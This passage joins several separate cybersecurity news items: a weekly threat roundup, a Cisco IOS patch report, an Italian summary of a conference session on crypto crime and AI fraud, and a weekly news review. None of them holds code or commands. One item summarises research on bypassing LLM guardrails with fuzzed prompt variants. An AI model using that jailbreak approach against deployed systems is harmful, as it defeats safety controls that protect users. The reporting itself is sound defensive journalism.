operations. Xinbi is estimated to have processed over $19.9 billion between 2021 and 2025. "The platform facilitates everything from 'Black U' money laundering and unlicensed OTC trades to the sale of compromised personal databases and scam infrastructure," Chainalysis said. "In the face of previous takedowns, Xinbi demonstrated significant resilience by rapidly migrating to the SafeW messaging app and launching its own proprietary payment app, XinbiPay. This evolution highlights the challenges around pursuing illicit services as they build custom financial rails to insulate themselves from platform-level disruptions." According to a report published by Elliptic last month, #8 Park is linked to a company named Legend Innovation, which, in turn, has ties to Prince Group, whose chairman, Chen Zhi, was arrested and extradited to China in connection with a crackdown on a large-scale fraud operation. #8 Park is also tied to HuiOne Group, with its payment business, HuiOne Pay (later rebranded as H-PAY), which operates a physical store within the compound. There has since been a sharp decline in incoming payments to merchants operating inside the compound beginning around February 9, 2026, with transactions almost entirely ceasing by February 13. What is Tsundere? — Tsundere is a botnet that enables system fingerprinting and arbitrary command execution on victim machines. It's notable for the use of a technique called EtherHiding to retrieve command-and-control (C2) servers stored in smart contracts on the Ethereum blockchain. The malware is suspected to be a Malware-as-a-Service (MaaS) offering of Russian origin, owing to logic that checks whether the infected host is located in a CIS country, including Ukraine, and terminates execution if so. Most recently, the use of the botnet has been linked to the Iranian state-sponsored actor MuddyWater. Jailbreaking, a Continued Risk to LLMs — New research from Palo Alto Networks Unit 42 has uncovered that prompt jailbreaking remains a practical risk to large language models (LLMs) and that a genetic algorithm-based fuzzing approach can be used to generate meaning-preserving prompt variants to trigger policy-violating outcomes against both closed-source and open-weight pre-trained models. "The broader implication is that guardrails should be treated as probabilistic controls that require continuous adversarial evaluation, not as definitive security boundaries," Unit 42 said. The findings reinforce that security for LLM applications cannot rely on a single layer, necessitating that organizations define and enforce application scope, use robust, multi-signal content controls, treat user input as untrusted and isolate it from privileged instructions, validate outputs against scope and policy, and monitor for misuse, and apply standard security controls, such as authentication, rate limiting, and and least privilege tool permissions. SEO Campaign Delivers AsyncRAT — Since October 2025, an unknown threat actor has been running an active SEO poisoning campaign, using impersonation sites of over 25 popular applications to direct victims to malicious installers, including VLC Media Player, OBS Studio, KMS Tools, and CrosshairX. The campaign uses ScreenConnect, a legitimate remote management tool, to establish initial access and to deliver AsyncRAT. "Most notable in this campaign is the RAT’s added cryptocurrency clipper, dynamic plugin system capable of loading arbitrary capabilities at runtime, and a geo-fencing mechanism that deliberately excludes targets across the Middle East, North Africa, and Central Asia," NCC Group said. AsyncRAT has also been delivered as part of a series of attacks on Libyan organizations between November 2025 and February 2026. The attacks targeted an oil refinery, a telecoms organization, and a state institution. "AsyncRAT is a remote access Trojan with a variety of capabilities, including keylogging, screen capture, and remote command execution capabilities, making it ideal for use in intelligence gathering and espionage attacks," Symantec and Carbon Black said. "It is also modular, meaning it can be updated and customized, which is attractive for attackers." Nigerian National Sentenced to 7 Years in Prison — A Nigerian man has been sentenced to more than seven years in a U.S. prison for his role in a scheme that broke into business email accounts and tricked victims into sending millions of dollars to fraudulent bank accounts. James Junior Aliyu, 31, received a 90-month prison sentence for conspiracy to commit wire fraud and money laundering. The court also ordered Aliyu to forfeit $1.2 million and repay nearly $2.39 million to the victims. Aliyu, who pleaded guilty in August 2025, acknowledged that he conspired with others, including Kosi Goodness Simon-Ebo, 31, and Henry Onyedikachi Echefu, 34, to deceive and defraud multiple American victims from February 2017 until at least July 2017. The business email compromise scheme targeted American businesses and individuals by compromising email accounts and sending false wiring instructions to deceive victims into sending money to bank accounts under their control. "Aliyu and his accomplices conspired to commit money laundering by disbursing the fraudulently obtained funds in the drop accounts to other accounts," the U.S. Justice Department said. "Co-conspirators moved the stolen money by initiating account transfers, withdrawing cash, and obtaining cashier’s checks. They also wrote checks to other individuals and entities to hide the true ownership and source of these assets. In total, Aliyu and his co-conspirators attempted to defraud victims of at least $10.4 million, and the victims suffered an actual loss of at least $2,389,130." Sensor Technology to Combat Deepfakes — Researchers at ETH Zürich have developed a sensor system that stamps a cryptographic signature onto images, video, and audio within a sensor chip at the exact moment they are captured, making it impossible to tamper with the data without being detected. "If the signatures are uploaded to a public ledger (e.g., a blockchain), anyone can verify the authenticity of videos and other data," ETH Zürich said. "The technology can, in principle, be integrated into any type of sensor or camera. It would then be possible to identify manipulated content on online platforms with minimal effort." Middle East Conflict Fuels Cyber Attacks — Threat actors have been capitalizing on geopolitical tensions in the Middle East region to spread Android spyware by distributing trojanized versions of Israel's Red Alert apps via SMS phishing messages. The espionage campaign has been codenamed Operation False Siren by CYFIRMA. ZIP archives containing lures related to the conflict are also being used to launch malicious payloads that lead to the deployment of PlugX and LOTUSLITE backdoors. These ZIP-based phishing campaigns have been attributed to a Chinese nation-state actor known as Mustang Panda. Elsewhere, an Iran-themed fake news blog site hosting malicious JavaScript has been found, leading to the deployment of StealC malware. Apple Tests Ways to Block Malicious Copy-Pastes in macOS — With the release of macOS 26.4 last week, Apple has introduced a new feature that warns Mac users if they paste harmful commands in the Terminal app to curb ClickFix-style attacks that have increasingly targeted macOS in recent months. "Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy," the message reads. "These instructions are commonly offered via websites, chat agents, apps, files, or a phone call." The alert comes with a "Paste Anyway" for those who wish to proceed. The disclosure comes as multiple ClickFix campaigns have come to light, including using a Cloudflare-themed verification page to deliver a Python-based macOS stealer dubbed Infiniti Stealer. A similar Cloudflare verification, but for Windows, has been used to launch PowerShell commands that ultimately drop StealC, Lumma, Rhadamanthys, Vidar Stealer, and Aura Stealer malware. The ClickFix strategy has also been adopted by a traffic distribution system known as KongTuke to redirect visitors of compromised WordPress websites to phishing pages and malware payloads. According to eSentire, ClickFix lures have been used to deliver EtherRAT, a Node.js-based backdoor linked to North Korean threat actors. "EtherRAT allows threat actors to run arbitrary commands on compromised hosts, gather extensive system information, and steal assets such as cryptocurrency wallets and cloud credentials," the Canadian security company said. "Command-and-Control (C2) addresses are retrieved using 'EtherHiding,' a technique to make C2 addresses more resilient by storing and updating them in Ethereum smart contracts, allowing threat actors to rotate infrastructure at a small cost and avoid takedowns by law enforcement." Recorded Future said it has identified five distinct clusters leveraging ClickFix to facilitate initial access to Windows and macOS systems since May 2024. "This indicates that the ClickFix methodology has transitioned into a standardized, high-ROI template adopted across a fragmented ecosystem of threat actors," Insikt Group said. "While visually diverse, all analyzed clusters use a consistent execution framework that bypasses traditional browser security controls by shifting the point of exploitation to user-assisted manual commands. These campaigns target a wide variety of sectors, including accounting (QuickBooks), travel (Booking.com), and system optimization (macOS)." Apple Rolls Out Mandatory Age Verification in U.K. — In more Apple news, the tech giant has rolled out mandatory U.K. age verification with iOS 26.4, requiring users to provide a credit card or ID to confirm if they are an adult before "downloading apps, changing certain settings, or taking other actions with your Apple Account." The move comes at a time when online child safety is increasingly drawing attention from regulators, causing many digital services, including social media apps and porn sites, to roll out similar checks. Discord, which announced plans to verify the ages of all its users last month, has since paused the effort until H2 2026 after concerns were raised about how IDs and personal information would be handled. Discord has reiterated that it does not receive any identifying personal information from users who need to manually verify their age. Instead, it is partnering with third-party age verification companies, who will "handle verification and only pass back your age group." The company also said it's no longer working with age verification vendor Persona, which has attracted criticism over allegations that it shared users' data with other companies and left its frontend source code exposed to the internet. 🔧 Cybersecurity Tools OpenClaw Security Handbook → It is a detailed security guide published by ZAST AI for users of OpenClaw, a multi-channel AI gateway that connects messaging platforms, LLMs, and local system capabilities. Because that combination creates a serious attack surface, the handbook covers the real risks — prompt injection, malicious skills, exposed ports, credential theft — backed by documented incidents and CVEs, with practical configuration guidance for locking it down. VulHunt → It is an open-source framework from Binarly's research team for hunting vulnerabilities in software binaries and UEFI firmware. It uses customizable rulepacks for scanning and can connect to Binarly's Transparency Platform for large-scale triage. It also supports running as an MCP server, letting AI assistants interact with it directly. Disclaimer: For research and educational use only. Not security-audited. Review all code before use, test in isolated environments, and ensure compliance with applicable laws. Conclusion That's the week. Some of it will age well, some of it is already being quietly exploited while you're reading this sentence. The through-line, if there is one: patience. Attackers are playing long games. The detections, the arrests, the patches — they matter, but they're almost always trailing. Stay sharp, check the CVE list, and see you next Monday.

Cisco on Wednesday announced patches for a dozen high- and medium-severity vulnerabilities in IOS and IOS XE, most of which could be exploited to cause denial-of-service (DoS) conditions. The patches were rolled out as part of Cisco’s semiannual IOS and IOS XE security advisory bundle. While none of the bugs appear to have been exploited in the wild, technical information on four of them has been published. The publicly disclosed issues, tracked as CVE-2026-20110, CVE-2026-20112, CVE-2026-20113, and CVE-2026-20114, are medium-severity defects affecting Cisco Catalyst 9300 Series switches. According to OPSWAT, which discovered and reported the security defects, attackers could chain two of these flaws, CVE-2026-20114 and CVE-2026-20110, to escalate privileges and cause a persistent DoS condition that may require manual intervention to resolve. Impacting the Lobby Ambassador web-based management API, CVE-2026-20114 exists because parameters are not sufficiently validated, allowing attackers logged in as a Lobby Ambassador to create a new user privilege level 1 access to the API and access the device. CVE-2026-20110 impacts the management CLI of the vulnerable devices and “exists because incorrect privileges are associated with the start maintenance command.” This allows an attacker to place the device in maintenance mode. “By chaining the initial privilege escalation with the subsequent command injection, the maintenance operation could be triggered – resulting in a persistent Denial-of-Service condition. In validated scenarios, restoring normal functionality required physical access to the device, significantly amplifying operational impact,” OPSWAT notes. The other two security defects could be exploited to mount XSS attacks (CVE-2026-20112) or to inject logs via CRLF manipulation (CVE-2026-20113) Cisco’s fresh round of IOS and IOS XE updates resolved six high-severity vulnerabilities, five of which could lead to DoS conditions. The sixth could allow attackers to bypass secure boot. The flaws exist because specific packets are not properly handled, user input is not properly validated, memory resources are not properly managed, or software is not sufficiently validated at boot time. The remaining two medium-severity issues resolved in IOS and IOS XE could lead to information disclosure and DoS conditions. Additional information can be found on Cisco’s security advisories page. Related: Cisco Patches High-Severity IOS XR Vulnerabilities Related: Recent Cisco Catalyst SD-WAN Vulnerability Now Widely Exploited Related: Cisco Patches Critical Vulnerabilities in Enterprise Networking Products

La sintesi della Sessione Tematica 3, dal titolo “Cybercrime, Crypto Asset e Nuove Tecnologie”, che si è tenuta durante la Conferenza Internazionale CyberSEC2026. Sintesi della Sessione Tematica 3 dal titolo ““Cybercrime, Crypto Asset e Nuove Tecnologie”” durante la quinta edizione della Conferenza Internazionale CyberSEC – Cybercrime e Cyberwar: Norme, Geopolitica e Cybersecurity per una Difesa Comune, promossa e organizzata da Cybersecurity Italia in collaborazione con la Polizia di Stato, tenutasi a Roma presso la Scuola Superiore di Polizia. Mancazzo (Guardia di Finanza): “Assistiamo a un progressivo spostamento degli illeciti dalle piazze fisiche alle piazze virtuali” Crypto-asset e criminalità, ransomware, riciclaggio e darknet markets, istituti bancari, fintech e pagamenti digitali, frodi, crypto e sicurezza dell’economia digitale, intelligenza artificiale (AI), deepfake, frodi automatizzate e social engineering evoluto, sono stati i temi chiave al centro della sessione dal titolo “Cybercrime, crypto asset e nuove tecnologie”, presieduta e moderata da Antonio Mancazzo, Comandante Nucleo Speciale Tutela Privacy e Frodi Tecnologiche della Guardia di Finanza, della 5^ edizione di CyberSEC,la Conferenza internazionale promossa ed organizzata dal quotidiano Cybersecurity Italia, in collaborazione con Polizia di Stato. Nucleo delle Fiamme gialle che oggi è fortemente impegnato su due fronti principali, ha spiegato il Generale Mancazzo: “Da un lato il monitoraggio della rete — e in particolare del deep web — con attività di contrasto ai black market; dall’altro il contrasto all’utilizzo illecito delle criptovalute. Effettuiamo un monitoraggio costante della blockchain e, pur con notevoli sforzi investigativi, riusciamo spesso a de-anonimizzare i soggetti responsabili di determinate operazioni. Tuttavia, ci troviamo di fronte anche a diverse criticità normative e operative, come le modalità di sequestro dei crypto-asset. Non parliamo soltanto di criptovalute, che rappresentano una categoria all’interno del più ampio insieme dei crypto-asset, che comprende anche token, smart contract e altri strumenti digitali”. Le difficoltà “Una delle difficoltà principali è che, ancora oggi, non disponiamo di un Fondo unico di giustizia che consenta, analogamente a quanto avviene per la valuta tradizionale, di depositare immediatamente i beni sequestrati alla criminalità economico-finanziaria. A questo si aggiunge il problema delle tempistiche di conversione dei crypto-asset sottoposti a sequestro. Le criptovalute – ha precisato il Comandante del Nucleo spciale – sono rappresentazioni digitali di valore caratterizzate da fortissima volatilità. Per questo sarebbe opportuno prevedere tempi certi entro i quali procedere alla loro conversione”. “Le difficoltà sono ulteriormente aggravate dal fatto che i tempi della blockchain sono immediati, mentre quelli della cooperazione di polizia e della cooperazione giudiziaria internazionale sono inevitabilmente più lunghi. Le frodi legate ai falsi investimenti online non sono più episodi isolati, ma rappresentano ormai un vero e proprio allarme sociale”. Criminalità e tecnologie La criminalità economico-finanziaria e la criminalità organizzata sfruttano sempre più le tecnologie digitali, ha affermato Mancazzo: “Assistiamo a un progressivo spostamento degli illeciti dalle piazze fisiche alle piazze virtuali. Nei black market, venditori e acquirenti non si conoscono e l’anonimato rappresenta una forma di tutela reciproca. In questi contesti abbiamo riscontrato la vendita di armi, stupefacenti, documenti contraffatti, banconote false e intere liste di dati sottratti a seguito di data breach. Spesso, quando la vittima di un attacco informatico non paga il riscatto, i dati vengono pubblicati sul dark web. Un ulteriore ambito di intervento riguarda la tassazione delle criptovalute. In questo settore registriamo numerosi casi di evasione fiscale, spesso legati alla convinzione che lo pseudo-anonimato della blockchain consenta di sottrarsi agli obblighi fiscali. Su questo fronte, con grande fatica, siamo riusciti a ottenere importanti pronunce della Corte di Cassazione, che hanno chiarito un punto fondamentale: la tassazione delle criptovalute era dovuta anche prima del 1° gennaio 2023, data a partire dalla quale è stata introdotta una disciplina organica della materia”. Dalla Benetta (Protiviti Italia): “Passare dai SOC agli X Operations Center, in cui far confluire tutti i dati rilevanti per la difesa dell’organizzazione” Nicola Dalla Benetta, Director di Protiviti Italia, ha parlato del modello 4×4: “Quattro ostacoli da riconoscere e quattro passi operativi da mettere in sequenza per riuscire ad affrontare efficacemente questi fenomeni. Partiamo dagli ostacoli. Il primo riguarda le complessità e le stratificazioni tecnologiche presenti all’interno delle aziende. Nel tempo le organizzazioni hanno accumulato sistemi, piattaforme, strumenti diversi che spesso convivono senza essere realmente integrati. Il secondo è rappresentato dalle stratificazioni organizzative: ruoli, responsabilità e processi che si sono sovrapposti nel tempo, sia all’interno delle aziende sia, più in generale, nel contesto della società e delle istituzioni. Il terzo ostacolo è la stratificazione culturale e formativa, un tema che è stato richiamato più volte durante la giornata. Parliamo di competenze, linguaggi e approcci professionali differenti che non sempre riescono a dialogare tra loro. Infine c’è la stratificazione regolatoria, cioè un quadro normativo che si è costruito progressivamente nel tempo e che spesso aggiunge ulteriori livelli di complessità. Questi quattro fattori, messi insieme, hanno prodotto un risultato abbastanza evidente: un insieme di contromisure che faticano a lavorare in modo realmente armonico”. I vari processi All’interno delle organizzazioni, ha proseguito Dalla Benetta, si trovano processi diversi: “Antiriciclaggio, gestione delle frodi esterne, gestione delle frodi interne, cyber security. Oggi questi ambiti condividono sempre più elementi, perché la digitalizzazione ha portato a una forte convergenza tra questi fenomeni. Tuttavia, nella pratica, sono ancora gestiti da team diversi, con competenze differenti e spesso anche con difficoltà di comunicazione reciproca. Per questo propongo quattro passi operativi che possono aiutare ad affrontare in modo più efficace queste sfide. Il primo è una governance chiara. All’interno delle organizzazioni bisogna rispondere a domande molto semplici: chi si occupa delle cyber frodi? Chi intercetta questi eventi? E chi li gestisce? Chi li analizza? Chi risponde operativamente? E, soprattutto, quali schemi di cyber fraud vogliamo intercettare? È evidente quindi che questi ambiti non possono più essere trattati come compartimenti separati e analizzati da tre team diversi”. Il secondo passo riguarda i dati, ha affermato Dalla Benetta: “Oggi abbiamo parlato molto di SOC, Security Operations Center, ed è positivo. Ma forse dobbiamo iniziare a guardare allo step successivo: quello che potremmo definire X Operations Center, cioè strutture in cui far confluire progressivamente tutti i dati rilevanti per la difesa dell’organizzazione. Il terzo passaggio riguarda i controlli su questi dati. In questo contesto l’intelligenza artificiale diventa un elemento abilitante fondamentale, perché consente di analizzare grandi volumi di informazioni e individuare schemi e anomalie che altrimenti sarebbero difficili da intercettare. Infine c’è il quarto elemento: i presidi e la formazione. Abbiamo bisogno di competenze verticali molto solide sulle singole materie, ma queste competenze devono essere poi orchestrate in modo orizzontale all’interno dell’organizzazione. Solo così è possibile garantire una gestione davvero efficace di fenomeni complessi come le cyber frodi”. Galvagna (Vectra AI): “Le frodi cyber si combattono con consapevolezza umana e tecnologie avanzate” riguardo all’evoluzione degli attacchi cyber, sempre più numerosi, ma soprattutto sempre più efficaci e pericolosi, Massimiliano Galvagna, Country Manager Italy di Vectra AI, ha invece portato un esempio personale: “Lavoro per un’azienda americana e, fortunatamente, il nostro CEO viene spesso in Italia perché il nostro è un account molto attivo. Proprio per questo motivo sono stato oggetto di un attacco di smishing molto ben costruito. Ho ricevuto un messaggio su WhatsApp apparentemente proveniente dal nostro CEO, con tanto di fotografia del profilo. Il messaggio diceva più o meno: “Dobbiamo incontrarci a breve, chiamami perché ho un problema”. Tutto era credibile: sapevano che era prevista una sua visita in Italia, conoscevano il contesto e il momento. Questo tipo di attacco funziona proprio perché abbassa le nostre soglie di attenzione. Quando riceviamo un messaggio da quello che sembra essere il nostro amministratore delegato, si attivano automaticamente una serie di meccanismi psicologici. Al tavolo precedente si parlava di bias cognitivi, e credo sia un riferimento molto pertinente. In questo caso non parliamo nemmeno di tecnologie particolarmente sofisticate: si tratta semplicemente di un messaggio WhatsApp con una foto. Tuttavia, se a questo aggiungiamo l’intelligenza artificiale nelle mani del cybercrime, è evidente che il livello di sofisticazione degli attacchi può crescere ulteriormente e rendere tutto ancora più complesso”. L’importanza della formazione “Per questo motivo è stato giustamente ricordato, anche questa mattina, quanto sia fondamentale il tema della formazione. Conoscenza, consapevolezza e formazione sono strumenti essenziali – ha continuato Galvagna – perché ci permettono di riconoscere quei piccoli segnali — quei trigger tipici di un attacco — che possono metterci in allerta. È sempre possibile accorgersene? Purtroppo no. Ed è qui che entra in gioco la tecnologia. Noi, come azienda, stiamo lavorando molto sull’analisi comportamentale. In particolare analizziamo tre elementi fondamentali: le credenziali, cioè le utenze che tutti noi utilizziamo; gli asset, che possono essere uno smartphone, un tablet, un computer o un laptop; e infine i servizi utilizzati. Attraverso l’analisi comportamentale di questi tre fattori e grazie all’utilizzo dell’intelligenza artificiale, è possibile individuare le differenze tra un comportamento normale e uno anomalo. Questo può aiutarci a identificare situazioni problematiche: ad esempio il comportamento di un dipendente infedele, oppure quello di una persona che, magari senza rendersene conto, è caduta in un meccanismo di frode”. Le frodi non sono nate con l’informatica “Le frodi non sono nate con l’informatica. Esistevano già prima. La tecnologia ha semplicemente fornito un nuovo vettore, un nuovo mezzo attraverso cui realizzarle. Ed è vero anche che oggi si tratta di attività estremamente remunerative per chi le mette in atto. Anche con tecniche molto semplici — una sorta di “pesca a strascico” digitale — è possibile ottenere risultati economici significativi. Purtroppo questo rende il fenomeno molto diffuso. Detto questo – ha concluso Galvagna – non dobbiamo essere completamente pessimisti. Una via d’uscita esiste: passa certamente attraverso la formazione e il miglioramento dei processi, ma passa anche attraverso l’utilizzo della tecnologia. Oggi è sempre più difficile riconoscere un attacco soltanto grazie all’esperienza personale. Video ben realizzati, messaggi credibili o richieste apparentemente legittime possono risultare molto convincenti. Per questo motivo la combinazione tra consapevolezza umana e strumenti tecnologici avanzati diventa fondamentale per affrontare efficacemente queste minacce”. Tonelli (OPSWAT): “AI come strumento per ottenere in modo rapido informazioni complesse” “Le minacce avanzate, come il ransomware e i cosiddetti ransomware-like, si stanno evolvendo in qualcosa di sempre più difficile da prevenire e gestire. La criminalità informatica non è ancora arrivata al punto in cui l’intelligenza artificiale viene utilizzata in modo completamente autonomo per sviluppare software in grado di causare qualsiasi tipo di danno alla vittima prescelta, ma siamo molto vicini a quel livello. Per il momento, l’AI viene utilizzata dai cybercriminali soprattutto per ottimizzare l’efficacia delle loro attività malevole”, ha spiegato Emilio Tonelli, Senior Solution Engineer di OPSWAT. “Grazie all’intelligenza artificiale – ha aggiunto Tonelli – un criminale può comprendere velocemente, qual è il profilo economico delle vittime. Calibrare attacco e importo del riscatto in modo proporzionale alle reali capacità economiche della vittima, aumentando così le probabilità di successo dell’azione e che il pagamento venga effettivamente effettuato”. Come ottenere velocemente informazioni “L’AI diventa quindi uno strumento per ottenere rapidamente informazioni complesse e mirate. Può essere utilizzata anche da un punto di vista tecnico per creare malware ottimizzati per colpire uno specifico target. Si passa così da un modello di attacco a strascico, più o meno casuale, in cui la vittima non è realmente mirata, a un modello in cui il bersaglio e tecniche di attacco vengono selezionate con precisione”, ha proseguito il Senior Solution Engineer di OPSWAT. Nella cyber kill chain, ha sottolineato Tonelli, “l’intelligenza artificiale ha già un ruolo rilevante nel mondo del cybercrime proprio nella fase di selezione della vittima, individuando chi ha maggiori probabilità di cadere nella trappola di un phishing o di un vishing, cioè il voice phishing. L’AI è in grado di ascoltare e replicare il timbro vocale di una persona, arrivando così a ingannare la vittima in modo estremamente convincente. L’industria (e OPSWAT) si sta muovendo per contrastare questo utilizzo dell’AI, sviluppando soluzioni basate su intelligenza artificiale in grado di rilevare files generati da AI utilizzati dai criminali. Questa attenzione potrà essere utile anche per fornire strumenti alle Forze dell’Ordine e ai cittadini”.

Week in review: AiTM phishing kit used to hijack AWS accounts, year-long malware campaign targets HR Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: Turning expertise into opportunity for women in cybersecurity Speaker diversity in cybersecurity has been a talking point for over a decade, with panels, pledges, and dedicated conference tracks failing to produce change. Stages still skew heavily male, even as women represent millions of qualified professionals in the field. SheSpeaksCyber, a free and open directory launched by the Women4Cyber Foundation, aims to close that gap by making female experts discoverable to event organizers worldwide. We spoke with founder Erlend Andreas Gjære about how it works and why now. Decoding silence: How deaf and hard-of-hearing pros are breaking into cybersecurity Stu Hirst was already a CISO when he started to go deaf. It was 2023, and the hearing loss crept in over months, enough for him to adapt, to lean on hearing aids and captions, to quietly reorganize his calendar around the cognitive load of processing sound. It was manageable. Then, in July 2025, it wasn’t. Airbus CSO on supply chain blind spots, space threats, and the limits of AI red-teaming Pascal Andrei, CSO at Airbus, knows that the aerospace and defense sector is facing a threat environment that is evolving faster than most organizations can track. From sub-tier suppliers quietly becoming entry points for state-backed attackers, to satellites emerging as targets in an increasingly contested space domain, the risks are real and growing. Cloud-audit: Fast, open-source AWS security scanner Running AWS security audits without a dedicated security team typically means choosing between enterprise platforms with per-check billing and generic open-source scanners that produce findings with no remediation guidance. Cloud-audit, a Python CLI tool published on GitHub by Mariusz Gebala, takes a narrower scope and attaches a fix to every finding it generates. Agentic attack chains advance as infostealers flood criminal markets Cybercriminals spent much of 2025 automating their operations, shifting from one-off attacks to systems that can run entire intrusion cycles with minimal human input. Data collected from criminal forums, illicit marketplaces, and underground chat services shows a threat environment where stolen identity data, unpatched vulnerabilities, and ransomware operations are interdependent. The findings come from Flashpoint’s 2026 Global Threat Intelligence Report, pulling data directly from sources across open and restricted online spaces. Stop fixing OT security with IT thinking In this Help Net Security interview, Ejona Preçi, Group CISO at Lindal Group, discusses the specific cybersecurity challenges in manufacturing environments. The conversation covers why standard IT security practices break down on shop floors, where PLCs and decade-old firmware were never designed to be networked. This spy tool has been quietly stealing data for years ESET researchers have traced the resurgence of Sednit through a modern toolkit built around two complementary implants, BeardShell and Covenant, each relying on a separate cloud provider to ensure operational resilience. This dual-implant architecture has enabled sustained surveillance of Ukrainian military personnel since at least April 2024. Fake Claude Code install pages highlight rise of “InstallFix” attacks Users looking for Anthropic’s Claude Code agentic AI coding tool are being tricked via fake Claude Code install pages into running malware, Push Security researchers have warned. The attackers behind this scheme are faithfully cloning Anthropic’s installation page, hosting it on a lookalike domain, and paying Google to surface those fake pages on the top of its results when users ask how to “install Claude Code”, “Claude Code CLI”, or simply “Claude Code”. Attackers use AiTM phishing kit, typosquatted domains to hijack AWS accounts Phishers are targeting AWS accounts holders with fake email security alerts and redirecting them to a high-fidelity clone of the AWS Management Console sign-in page, Datadog researchers have warned. The campaign has been running since the end of February and possibly earlier. “In one observed case, the operator authenticated to a compromised AWS account within 20 minutes of credential submission,” the researchers noted. HR, recruiters targeted in year-long malware campaign An attack campaign targeting HR departments and job recruiters has been stealthily compromising systems, Aryaka researchers have discovered. By avoiding analysis environments and leveraging a specialized module designed to kill antivirus and endpoint detection software, the Russian-speaking attacker(s) behind this campaign have managed to keep their activity largely under the radar. Microsoft patches 80+ vulnerabilities, six flagged as “more likely” to be exploited On March 2026 Patch Tuesday, Microsoft addressed 80+ vulnerabilities affecting its software and cloud services. Of these, two were publicly disclosed, but not actively exploited. The two publicly disclosed flaws are CVE-2026-21262, a vulnerability in SQL Server that may allow attackers to gain SQLAdmin privileges, and CVE-2026-26127, a .NET flaw that can be triggered for a denial of service attack. Researchers uncover AI-powered vishing platform A vishing-as-a-service platform that helps scammers carry out so-called “press 1” scams is misusing text-to-speech (TTS) capabilities provided by AI voice technology company ElevenLabs, Mirage Security researchers claim. For “press 1” scams, fraudsters spoof phone numbers of trusted institutions (e.g., bank), call up potential victims and try to scare them with pre-recorded messages into sharing sensitive information. ShinyHunters claims new campaign targeting Salesforce Experience Cloud sites Salesforce customers have, once again, been targeted by the ShinyHunters group – or, at least, it’s what the group claims. On Saturday, Saleforce confirmed that its security team has identified an attack campaign by unnamed malicious actors looking to access customers’ data. Does Anthropic deserve the trust of the cybersecurity community? The cybersecurity industry runs on trust. The belief that when a vendor says they will behave a certain way, they will, that critical CVEs are in fact critical, or when companies say they’re GDPR compliant, they really are. But earning trust is not a one-and-done thing. Zero trust, zero buzzwords: Here’s what it means In this Help Net Security video, Murat Balaban, CEO of Zenarmor, breaks down zero trust and zero trust network access (ZTNA) without the buzzwords. The video covers why this approach matters, including the risk of lateral movement after a breach and the growing number of remote workers accessing private resources. Passwords, MFA, and why neither is enough Passwords weren’t enough, so we added MFA. Now MFA isn’t enough either. In this Help Net Security video, Karlo Zatylny, CTO/CISO at Portnox, walks through why each layer of identity security has failed and what comes next. OpenAI joins the race in AI-assisted code security OpenAI introduced Codex Security, an AI agent that reviews codebases to find, verify, and help fix software vulnerabilities. The launch comes a few weeks after rival Anthropic unveiled its Claude Code Security tool. The feature is available in research preview via Codex Web for ChatGPT Pro, Enterprise, Business, and Edu customers, with free access for the next month. No more soft play, President Trump warns in new cyber strategy The White House released “President Trump’s Cyber Strategy for America,” a policy framework outlining the administration’s priorities for maintaining U.S. leadership in cyberspace. The seven-page cyber strategy commits to a coordinated, government-wide response to cyber threats that extends beyond cyberspace and relies on close cooperation with allies, industry, and academia. Russian hackers crack into officials’ Signal and WhatsApp accounts Russian state hackers are trying to break into Signal and WhatsApp accounts used by diplomats, military staff, and government officials worldwide, Dutch intelligence agencies warned. They believe journalists and other people who attract attention from Moscow may also be affected. Phishing campaign spoofs local officials to steal permit fees The FBI is warning about a phishing scheme in which cybercriminals impersonate city and county officials to solicit fraudulent payments for planning and zoning permits. Criminals mine publicly available permit data to find likely targets and make their outreach appear legitimate. Teen crew caught selling DDoS attack tools Seven minors who distributed online programs designed to facilitate DDoS attacks have been identified by Poland’s Central Bureau for Combating Cybercrime (CBZC). They were between 12 and 16 at the time of the crime. According to investigators, using the tools they administered, the minors attacked popular websites, including auction and sales portals, IT domains, hosting services and accommodation booking sites. The activity was profit-driven, with the suspects earning money from the operation. Microsoft flips Windows Autopatch to default hotpatch security updates Microsoft is changing the default behavior in Windows Autopatch so that hotpatch security updates are enabled automatically for eligible devices managed through Microsoft Intune or the Microsoft Graph API starting with the May 2026 Windows security update. Software vulnerabilities push credential abuse aside in cloud intrusions Cloud intrusions are unfolding on shorter timelines, with attackers leaning more on unpatched software and compromised identities. Google Cloud’s Cloud Threat Horizons Report H1 2026 reflects incident response and intelligence findings from the second half of 2025 and shows how access methods and objectives are changing in cloud and SaaS environments. YouTube draws a line on deepfakes involving politicians and journalists With deepfakes becoming more common, YouTube has expanded access to its AI-driven likeness detection system to a pilot group of government officials, journalists and political candidates. The step follows an earlier rollout of the tool to creators in the company’s Partner Program. Anthropic forms institute to study long-term AI risks facing society Anthropic has established the Anthropic Institute, a research unit focused on studying the societal effects of AI and informing policy responses to risks from more advanced systems. The company believes rapid advances in AI will force governments and industries to confront difficult questions about jobs, economic disruption and system governance. It also raises concerns about how AI systems express values, how those standards are set and how future self-improving systems should be monitored and regulated. Wireless vulnerabilities are doubling every few years Wireless vulnerabilities are being disclosed at a rate that has no precedent in the fifteen-year history of systematic tracking. In 2025, researchers published 937 new wireless-related CVEs, an average of 2.5 per day, according to a threat report from Bastille Networks based on data from the NIST National Vulnerability Database. WhatsApp is giving parents peace of mind over their kids’ privacy WhatsApp has introduced parent-managed accounts designed for pre-teens, giving parents and guardians new controls over contacts, group participation, and how the app is used. War spreads into cyberspace after Iran-linked hackers hit medtech giant Stryker An Iran-linked hacking group has claimed responsibility for a cyberattack on U.S. medical device giant Stryker, marking a potential escalation of cyber activity tied to the ongoing conflict in the Middle East. Authorities dismantle SocksEscort proxy network behind millions in fraud SocksEscort, a residential proxy network used to exploit thousands of compromised home routers worldwide and facilitate large-scale fraud that cost victims millions of dollars, has been disrupted in an international law enforcement operation led by the U.S. Department of Justice. Submarine cables move to the center of critical infrastructure security debate The cables running along the ocean floor carry the overwhelming majority of the world’s cross-border data traffic, and for most of their operational history they have attracted little strategic attention. That is changing. A new sector report from Capacity Insights draws on interviews with senior executives across the subsea industry to examine how demand growth, hyperscaler investment, and geopolitical pressure are converging on infrastructure that governments and operators are only beginning to treat as a security priority. Product showcase: Fing Desktop puts network visibility on your screen Phones, laptops, smart TVs, cameras, and smart home equipment all use the same network. Knowing what’s connected helps users manage performance and security. Fing Desktop provides tools that identify devices, test connectivity, and analyze network activity. Open-source tool Sage puts a security layer between AI agents and the OS Autonomous AI agents running on developer workstations execute shell commands, fetch URLs, and write files with little or no inspection of what they are doing. Open-source project Sage inserts an interception layer between an AI agent and those operations, checking each action before it proceeds. More AI 